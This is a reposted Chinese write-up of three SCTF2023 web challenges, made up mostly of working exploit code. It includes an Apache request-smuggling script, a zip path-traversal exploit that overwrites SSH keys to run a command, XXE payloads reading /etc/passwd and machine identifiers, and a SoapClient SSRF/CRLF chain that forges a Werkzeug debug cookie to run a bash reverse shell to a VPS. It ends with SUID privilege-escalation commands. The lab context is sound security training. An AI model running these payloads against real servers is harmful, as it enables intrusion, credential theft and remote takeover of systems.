SCTF2023复现(部分web复现)

news2025/1/23 3:25:27

文章目录

    • SCTF2023复现
      • web
        • ezcheck1n
        • SycServer
        • pypyp?

SCTF2023复现

web

ezcheck1n

find the way to flag.Looks like there are two containers with an evil P in the configuration file of the frontend server

源码:

<?php

$FLAG = "flag{fake_flag}";
@file_get_contents("http://".$_GET['url'].$FLAG);
# but it's not the real flag
# beacuse someone say this year is not 2023 !!! like the post?
show_source('./2023.php');
$a = file_get_contents('./post.jpeg');
echo '<img src="data:image/jpeg;base64,' . base64_encode($a) . '">';
# notice -> time
# How should you get to where the flag is, the middleware will not forward requests that are not 2023
?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xu7woghW-1687831317765)(null)]

分析源码,给了我们一个假的flag,提示我们注意时间,年份不是2023,然后下面的图片提示年份为2022

How should you get to where the flag is, the middleware will not forward requests that are not 2023

你应该如何到达flag所在的位置,中间件不会转发不是 2023 的请求

综上分析了一下,中间件不会转发不是2023的请求,但是我们只有访问2022年份的php才能获得flag

我们访问 /2023/post.jpeg访问不到图片,访问 /post.jpeg才访问得到:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pe8DGg3N-1687831317538)(null)]

我们访问 /2023/下的任何一个文件都能获得源码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sAXA9jrN-1687831319189)(null)]

说明这里肯定做了某种配置,重定向了

然后我们发现中间件是:Apache2.4.54

这里存在一个请求走私漏洞:CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用

因为我们发现 post.jpeg是在根目录下的,所以根目录下应该是有一个/2022.php的,然后我们只要利用请求走私去访问这个文件,url填自己vps的地址就可以得到flag了:

修改一下文章中的脚本:

import urllib

from pwn import *

def request_prepare():
    uri = b'/2023/2023.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + b'POST%20/2022.php%3Furl%3Dxxx%2Exxx%2Exxx%2Exxx%3A9996'
    req = b'''GET %b HTTP/1.1\r
Host: 127.0.0.1:80\r
\r
''' % uri
    return req


def send_and_recive(req):
    rec = b''
    ip = '115.239.215.75'
    port = 8082
    p = remote(ip, int(port))
    p.send(req)
    rec += p.recv()
    print(rec.decode())
    p.close()
    return rec.decode()


req = request_prepare()
print(req)
# print(urllib.parse.unquote(req.decode()))
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6BHsclY0-1687831318261)(null)]

SycServer

VAnZY鸽鸽写了个网站,但是没写前端,你知道怎么用嘛

附件有一个main 文件,使用file命令查看一下文件类型:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cDUjut9h-1687831318038)(null)]

是go语言编写,我们在本地运行一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UfV4iM2Y-1687831318647)(null)]

这里有几个路由:

  • /file-unarchiver 文件解压
  • /readfile 读文件内容
  • /admin
  • /readir

/readfile

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Lb0DmoD-1687831317701)(null)]

/file-unarchiver

经过测试,这个路由会将压缩包解压到 /tmp 目录下:

import zipfile
import requests

url = "http://127.0.0.1:8888/file-unarchiver"

z = zipfile.ZipFile("demo.zip", "w",zipfile.ZIP_DEFLATED)
z.writestr("1.txt","this is content!")
z.close()

files = [('file',('1.tar.gz',open("demo.zip",'rb'),'application/zip'))]

requests.post(url=url, files=files)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZQLuKlXo-1687831318361)(null)]

测试后发现这里是可以目录穿越的:

import zipfile
import requests


url = "http://127.0.0.1:8888/file-unarchiver"

z = zipfile.ZipFile("demo.zip", "w",zipfile.ZIP_DEFLATED)
z.writestr("../1.txt","this is content!")
z.close()

files = [('file',('1.tar.gz',open("demo.zip",'rb'),'application/zip'))]

requests.post(url=url, files=files)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ySDmMYpi-1687831318201)(null)]

/admin

当我们访问这个路由的时候发现报错了:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MdH0Khu4-1687831317085)(null)]

访问这个路由会读取 vanzy用户的ssh私钥

当我们配置号 vanzy用户的公私钥,再次访问 /admin 路由:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D5C2nIQb-1687831317166)(null)]

发现dial本地2221端口连接失败

所以可以推断出,这个路由是通过读取本地私钥然后认证ssh服务

所以这里攻击思路是通过:覆盖vanzy用户的公私钥,公钥写入command,然后访问admin路由去触发ssh连接执行command

这题的解法是通过zip解压,通过目录穿越,覆盖掉原有 vanzy 的公私钥,然后在authorized_keys文件中写入

command 进行命令执行(只要在id_rsa.pub的文件头中插入命令即可)

https://juejin.cn/s/ssh%20authorized_keys%20command%20parameters

解题步骤

首先在虚拟机上创建 vanzy 用户,然后创建 /home/vanzy 文件夹,

切换到vanzy用户后,使用 ssh-keygen -t rsa 生成ssh 的 rsa

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tvvWgrAQ-1687831318736)(null)]

在 公钥id_rsa.pub的头添加command命令,此处我们将 flag内容输出到了 /home/vanzy/leekos.txt文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UT1t3QgD-1687831318552)(null)]

然后写脚本:exp.py

import requests
import zipfile
import os

def fuck_priv():
    z = zipfile.ZipFile(f'priv.zip', 'w', zipfile.ZIP_DEFLATED)
    private_key = open('./id_rsa', 'rb').read()
    z.writestr(f'../../../../../home/vanzy/.ssh/id_rsa', private_key)
    z.close()
    files = [('file', ('priv.zip', open('priv.zip', 'rb'), 'application/zip'))]
    resp = requests.post(url, files=files)


def fuck_pub():
    z = zipfile.ZipFile(f'pub.zip', 'w', zipfile.ZIP_DEFLATED)
    public_key = open('./id_rsa.pub', 'rb').read()
    z.writestr(f'../../../../../home/vanzy/.ssh/authorized_keys', public_key)
    z.close()
    files = [('file', ('pub.zip', open('pub.zip', 'rb'), 'application/zip'))]
    resp = requests.post(url, files=files)

url = 'http://119.13.91.238:8888/file-unarchiver'

fuck_priv()
fuck_pub()

url2 = 'http://119.13.91.238:8888/admin'
resp_2 = requests.get(url2)

url1 = 'http://119.13.91.238:8888/readfile?file=/home/vanzy/leekos.txt'
resp_1 = requests.get(url1)
print(resp_1.text)

os.system('rm -rf priv.zip')
os.system('rm -rf pub.zip')

这一个脚本是读取本机上的公私钥,将其打包成zip,然后利用目录穿越漏洞,通过/file-unarchiver路由解压,覆盖原有的公私钥

注意此处:

z.writestr(f'../../../../../home/vanzy/.ssh/authorized_keys', public_key)

将公钥内容写入:authorized_keys文件,文件头以及加入命令

authorized_keys文件中的每个公钥都可以与命令关联,这样,当用户使用该公钥进行SSH连接时,指定的命令将在远程服务器上执行

当我们访问 /admin 路由时,就会去登录ssh然后触发命令

接着只需将flag读取输出即可

pypyp?

a piece of cake but hard work。per 5 min restart.
pay attention to /app/app.py

访问网址,提示我们session not started

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sAC8zlo1-1687831317327)(null)]

于是我们需要构造一个上传页面上传一个session https://xz.aliyun.com/t/9545

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://115.239.215.75:8081/index.php" enctype="multipart/form-data" method="post">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
        <input type="file" name="file">
        <input type="submit" name="submit">
    </form>
</body>
</html>

注意需要添加一个cookie,PHPSESSID

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zgRnjUSk-1687831317596)(null)]

获得源码:

<?php
    error_reporting(0);
    if(!isset($_SESSION)){
        die('Session not started');
    }
    highlight_file(__FILE__);
    $type = $_SESSION['type'];
    $properties = $_SESSION['properties'];
    echo urlencode($_POST['data']);
    extract(unserialize($_POST['data']));
    if(is_string($properties)&&unserialize(urldecode($properties))){
    $object = unserialize(urldecode($properties));
    $object -> sctf();
    exit();
    } else if(is_array($properties)){
        $object = new $type($properties[0],$properties[1]);
    } else {
        $object = file_get_contents('http://127.0.0.1:5000/'.$properties);
    }
    echo "this is the object: $object <br>";

?>

看到 extract()函数,这里可以利用变量覆盖

由于最后 $object 使用echo输出了,我们可以考虑使用php原生类 SimpleXMLElement

这里利用xxe漏洞来实现文件包含

读取 /etc/passwd

<?php
$class = 'SimpleXMLElement';
$evilxml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///etc/passwd">]><xxe>&file;</xxe>';

$arr = array('properties' => array($evilxml, '2'),'type'=>$class);
echo serialize($arr);

这里将 $type赋值为SimpleXMLElement$properties赋值为数组,并且第一个元素为xml串

修改一下html文件内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://115.239.215.75:8081/index.php" enctype="multipart/form-data" method="post">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
        <input type="text" name="data">  <!-- 将内容传入此处 -->
        <input type="file" name="file">
        <input type="submit" name="submit">
    </form>
</body>
</html>

发包获得/etc/passwd文件内容:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AA2DOvD9-1687831319250)(null)]

根据提示,我们可以读/app/app.py

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qYrgt0Sb-1687831318098)(null)]

app.py

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)

这里开了debug模式,我们可以考虑去伪造pin码

但是这里不能直接访问页面去输入pin码然后执行命令,我们需要根据:

$object = file_get_contents('http://127.0.0.1:5000/'.$properties)

分析一下这行代码,可以获得内网相关的信息

这里$object调用了一个不存在的函数,会触发__call__()方法

if(is_string($properties)&&unserialize(urldecode($properties))){
    $object = unserialize(urldecode($properties));
    $object -> sctf();
    exit();
    }

我们可以利用 SoapClient进行SSRF

<?php
$properties = serialize(new SoapClient(null,array('location'=>'http://vps:9996', 'uri'=>'leekos')));

$arr = array('properties'=>$properties);
echo serialize($arr);

# a:1:{s:10:"properties";s:145:"O:10:"SoapClient":4:{s:3:"uri";s:6:"leekos";s:8:"location";s:25:"http://vps:9996";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}";}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PkopNwfK-1687831319420)(null)]

成功了,我们再尝试一下是否存在 CRLF

$properties = serialize(new SoapClient(null,array('location'=>'http://49.235.108.15:9996', 'uri'=>'leekos','user_agent'=>"agent\r\nCookie: leekos123")));

$arr = array('properties'=>$properties);
echo serialize($arr);

# a:1:{s:10:"properties";s:196:"O:10:"SoapClient":5:{s:3:"uri";s:6:"leekos";s:8:"location";s:25:"http://49.235.108.15:9996";s:15:"_stream_context";i:0;s:11:"_user_agent";s:24:"agent
Cookie: leekos123";s:13:"_soap_version";i:1;}";}

发包:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fT9VWdJ9-1687831317867)(null)]

成功了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XJwZ5dps-1687831318418)(null)]

可以利用SSRF+CRLF组合拳

本地flask测试:

from flask import Flask

app = Flask(__name__)


@app.route('/')
def index():

    return 'Hello World!'


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=True)

访问 /console

image-20230620214050349

当我们输入PIN时,我们发现控制台:

127.0.0.1 - - [20/Jun/2023 21:41:45] "GET /console?__debugger__=yes&cmd=pinauth&pin=384-428-921&s=9leQ7He422JoRvKDSQGE HTTP/1.1" 200 -

url中带了一串参数:

__debugger__=yes&cmd=pinauth&pin=asdasdasd&s=9leQ7He422JoRvKDSQGE

__debugger__=yes代表调试

cmd代表命令

pin代表你输入的pin

s代表SECRET

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-apt2F7Rv-1687831317229)(null)]

正确输入pin的话会返回一个cookie

当我们执行命令的时候,需要的相关参数如下

/console?&__debugger__=yes&cmd=1&frm=0&s=9leQ7He422JoRvKDSQGE

命令执行的包:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XKj7RUUA-1687831319358)(null)]

可以看到携带了cookie,我们需要伪造这个cookie,然后就可以进行反弹shell

这里需要注意

  • SECRET
  • cookieName
  • 时间戳
  • hash签名

时间戳不重要,SECRET可以通过访问 /console获得,cookieNamehash签名可以通过伪造获得

Cookie的格式:

Cookie: cookieName=时间戳|hash签名

我们可以通过这行代码查看一下 flask debug 模式的控制台

$object = file_get_contents('http://127.0.0.1:5000/'.$properties)

构造,(在url后接上console就可以进入flask debug控制台)

$arr = array('properties'=>'console');
echo serialize($arr);

a:1:{s:10:"properties";s:7:"console";}

获得 SECRET:DhOJxtvMXCtezvKtqaK9

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tzu8vZxy-1687831319516)(null)]

伪造以前首先需要知道python的版本,我们查询一下是否存在 python3.8路径的LICENSE.txt

/usr/lib/python3.8/LICENSE.txt

读取成功,发现是python3.8

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rhVwx7hk-1687831318931)(null)]

接下来我们需要伪造签名、cookieName

我们直接进本地的 /usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py翻源码

找到如下代码:

...
def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
...
def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdecimal():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

我们稍微改一改:

import hashlib
from itertools import chain

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]) # 签名

print(cookie_name)   # cookieName
print(rv)    		# PIN

这里有几个地方需要算的:

probably_public_bits = [
        username,   # 查看/etc/passwd
        modname,    # 默认值flask.app
        getattr(app, "__name__", type(app).__name__),  # 默认Flask
        getattr(mod, "__file__", None), # flask.app路径
    ]

private_bits = [
    '2485378023426', #  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687'
]

我们都可以通过xxe来读取:

a:2:{s:10:"properties";a:2:{i:0;s:114:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///sys/class/net/eth0/address">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
02:42:ac:13:00:02 -> 2485378023426

a:2:{s:10:"properties";a:2:{i:0;s:118:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///proc/sys/kernel/random/boot_id">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
349b3354-f67f-4438-b395-4fbc01171fdd

a:2:{s:10:"properties";a:2:{i:0;s:104:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///proc/self/cgroup">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687

整合一下脚本就是:

import hashlib
from itertools import chain

probably_public_bits = [
    'app',
    'flask.app',
    'Flask',
    '/usr/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
    '2485378023426', #  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]


rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12])

print(cookie_name)
print(rv)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okamARZp-1687831319035)(null)]

然后利用SSRF+CLRF打一下,反弹shell

bash -i>&/dev/tcp/vps/9996 0>&1

<?php
$class = serialize(new SoapClient(null, array(
    'location' => 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__("os").popen("echo${IFS}\"bash64反弹shell\"|base64${IFS}-d|bash").read()&frm=0&s=DhOJxtvMXCtezvKtqaK9',
    'user_agent'=>"leekos\r\nCookie: __wzdb2a60e2b19822632a67c=1687308743|11b8517fb9fb",
    'uri' => "http://127.0.0.1:5000/")));
$arr = array('properties' => $class );
$payload = serialize($arr);
echo $payload;

(这里需要注意,payload中不能有+)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tDlidOVu-1687831317402)(null)]

服务器监听一下,flag在根目录下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hs8zIPjC-1687831318876)(null)]

我们使用 cat /flag 发现不行:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nHEnw3lH-1687831319095)(null)]

于是我们可以使用SUID提权

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

当一个可执行文件被设置了 s 权限时,在执行该程序时,它将会以该程序的所有者或所属组的身份运行。

提权一下,发现curl命令可以用,于是我们直接curl file:///flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9BxUz5Pi-1687831317933)(null)]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/703453.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为OD机试真题 Python 实现【分奖金】【2022Q4 100分】

目录 一、题目描述二、输入描述三、输出描述四、解题思路五、Python算法源码六、效果展示1、输入2、输出 一、题目描述 公司老板做了一笔大生意&#xff0c;想要给每位员工分配一些奖金&#xff0c;想通过游戏的方式来决定每个人分多少钱。按照员工的工号顺序&#xff0c;每个…

《移动互联网技术》 第七章 数据存取: 掌握File、SharePreferences、SQLite和ContentProvider四种数据存取方式

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

iview button组件点击第一次无效的原因解决

最近在开发页面&#xff0c;发现登陆页老是需要点击两下才能进入具体页面&#xff0c;一开始没在意&#xff0c;但是使用久了&#xff0c;就感觉肯定是问题&#xff0c;于是仔细查看了代码&#xff0c;如上图所示&#xff1a; 一开始我的跳转是放在存储token的上面的&#xff0…

管理类联考——英语——趣味篇——词根词汇——按“认识自然、认识自我、改造自然、情感智力、人与社会”分类”

文章目录 前言第⼀部分、认识⾃然1&#xff0e; ⾃然源于⽣命-bio-“⽣命&#xff0c;⽣物”-nat-“⽣命&#xff0c;出⽣”-gen-&#xff0c;-geo- “⽣&#xff0c;出⽣&#xff0c;⽣发;⼟地”-viv- -vit-, “⽣&#xff0c;⽣命&#xff0c;出⽣”-mort- “死&#xff0c;死…

如何使用企业门户(门户,Portal)平台构建千人千面的企业数字神经网络、门户工作台,集团数字化门户系统?

基于人工智能与AI算法的信创门户“One”&#xff0c;打破了IT系统间信息孤岛。实现了系统间的互联互通&#xff08;数字孪生&#xff0c;塔尖通信&#xff09;&#xff0c;结合机器学习&#xff0c;打造企业数字神经网络&#xff0c;给用户一个千人千面的智慧门户工作台&#x…

【Python】一文带你学会数据结构中的堆、栈

作者主页&#xff1a;爱笑的男孩。的博客_CSDN博客-深度学习,活动,python领域博主爱笑的男孩。擅长深度学习,活动,python,等方面的知识,爱笑的男孩。关注算法,python,计算机视觉,图像处理,深度学习,pytorch,神经网络,opencv领域.https://blog.csdn.net/Code_and516?typeblog个…

移除所有本地应用程序(数据库)加密设置

大家好&#xff0c;才是真的好。 最近我就有这样一个烦恼&#xff0c;要移除Notes本地的所有本地应用程序&#xff08;数据库&#xff09;的加密设置&#xff0c;这样就可以放到Domino服务器上&#xff0c;然后支持其他电脑上不同的Notes访问。毕竟&#xff0c;默认地&#xf…

Open-World Class Discovery with Kernel Networks (ICDM 2020)

Open-World Class Discovery with Kernel Networks (ICDM 2020) 摘要 我们研究了一个开放世界类发现问题&#xff0c;在这个问题中&#xff0c;训练样本是来自旧类有标签的样本&#xff0c;而我们从没有标记的测试样本中发现新的类。解决这一范式有两个关键的挑战:(a)将知识从…

【ESP-IDF】在squareline studio上设计GUI并移植到esp-box上

因为squareline studio软件中适配了ESP-BOX&#xff0c;所以作者本想直接使用该软件创建的工程&#xff0c;但是会出现花屏的现象&#xff0c;也不知道是不是没有做好esp-box-lite的适配。 因此只能先用squareline studio设计好GUI&#xff0c;然后再导出其代码&#xff0c;在其…

实时数仓详解

前言 本文隶属于专栏《大数据理论体系》&#xff0c;该专栏为笔者原创&#xff0c;引用请注明来源&#xff0c;不足和错误之处请在评论区帮忙指出&#xff0c;谢谢&#xff01; 本专栏目录结构和参考文献请见大数据理论体系 背景 伴随着社会的发展&#xff0c;用户对数据仓库…

ChatGPT中 top_p 和 temperature 的作用机制

1. temperature 的作用机制 GPT 中的 temperature 参数调整模型输出的随机性。随机性大可以理解为多次询问的回答多样性、回答更有创意、回答更有可能没有事实依据。随机性小可以理解为多次询问更有可能遇到重复的回答、回答更接近事实&#xff08;更接近训练数据&#xff09;…

pycharm快捷键

目录 1、代码编辑快捷键 2、搜索/替换快捷键 3、代码运行快捷键 4、代码调试快捷键 5、应用搜索快捷键 6、代码重构快捷键 7、动态模块快捷键 8、导航快捷键 9、通用快捷键 &#x1f381;更多干货 完整版文档下载方式&#xff1a; 1、代码编辑快捷键 CTRL ALT SP…

Vue-Element-Admin项目学习笔记(9)表单组件封装,父子组件双向通信

前情回顾&#xff1a; vue-element-admin项目学习笔记&#xff08;1&#xff09;安装、配置、启动项目 vue-element-admin项目学习笔记&#xff08;2&#xff09;main.js 文件分析 vue-element-admin项目学习笔记&#xff08;3&#xff09;路由分析一:静态路由 vue-element-adm…

TOWARDS A UNIFIED VIEW OF PARAMETER-EFFICIENT TRANSFER LEARNING

本文也是属于LLM系列的文章&#xff0c;针对《TOWARDS A UNIFIED VIEW OF PARAMETER-EFFICIENT TRANSFER LEARNING》的翻译。 关于参数有效迁移学习的统一观点 摘要1 引言2 前言2.1 Transformer结构综述2.2 之前的参数高效调优方法综述 3 弥合差距-统一的视角3.1 仔细观察Pref…

火山引擎A/B测试推出智能流量调优实验,助力汽车行业破局营销困境

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 2023年是汽车行业挑战加剧的一年&#xff0c;在这样一个变革时期&#xff0c;多家车企都在进行创新技术和战略调整&#xff0c;实现灵活的科学决策&#xff0c;在发…

03 Web全栈 浏览器内置对象/事件/ajax

浏览器是一个JS的运行时环境&#xff0c;它基于JS解析器的同时&#xff0c;增加了许多环境相关的内容&#xff0c;用一张图表示各个运行环境和JS解析器的关系如下&#xff1a; 我们把常见的&#xff0c;能够用JS这门语言控制的内容称为一个JS的运行环境&#xff0c;常见的运行环…

PDF怎么在线编辑?PDF编辑软件推荐!​

PDF怎么在线编辑&#xff1f;PDF是一种常见的文档格式&#xff0c;用于存储和共享各种类型的文档&#xff0c;如电子书、报告、表格、合同和演示文稿等。然而&#xff0c;PDF文档通常是只读的&#xff0c;无法直接进行编辑。在过去&#xff0c;要编辑PDF文档通常需要购买专业的…

JVM 常量池、即时编译与解析器、逃逸分析

一、常量池 1.1、常量池使用 的数据结构 常量池底层使用HashTable key 是字符串和长度生成的hashValue&#xff0c;然后再hash生成index, 改index就是key&#xff1b;Value是一个HashTableEntry&#xff1b; 1、key hashValue hash string(name&#xff0c; len) i…

高级DBA手把手教你解决clickhouse数据库宕机生产事故实战全网唯一

高级DBA手把手教你解决clickhouse数据库宕机生产事故实战演练 一、事故描述 生产环境clickhouse宕机&#xff0c;重启之后&#xff0c;反复重启&#xff0c;重启几秒钟又死了。甲方客户叫天&#xff0c;大老板火冒三丈&#xff0c;天下大乱。老板电话打过来&#xff0c;要求半…

webrtc源码阅读之examples/peerconnection

阅读webrtc源码&#xff0c;从examples中的peerconnection开始。版本m98。 一、 基本流程 server端只是做了一个http server&#xff0c;来转发client端的消息。也就是起到了信令服务器的作用&#xff0c;本篇文章不在研究&#xff0c;感兴趣的可以学习一下用cpp搭建http serv…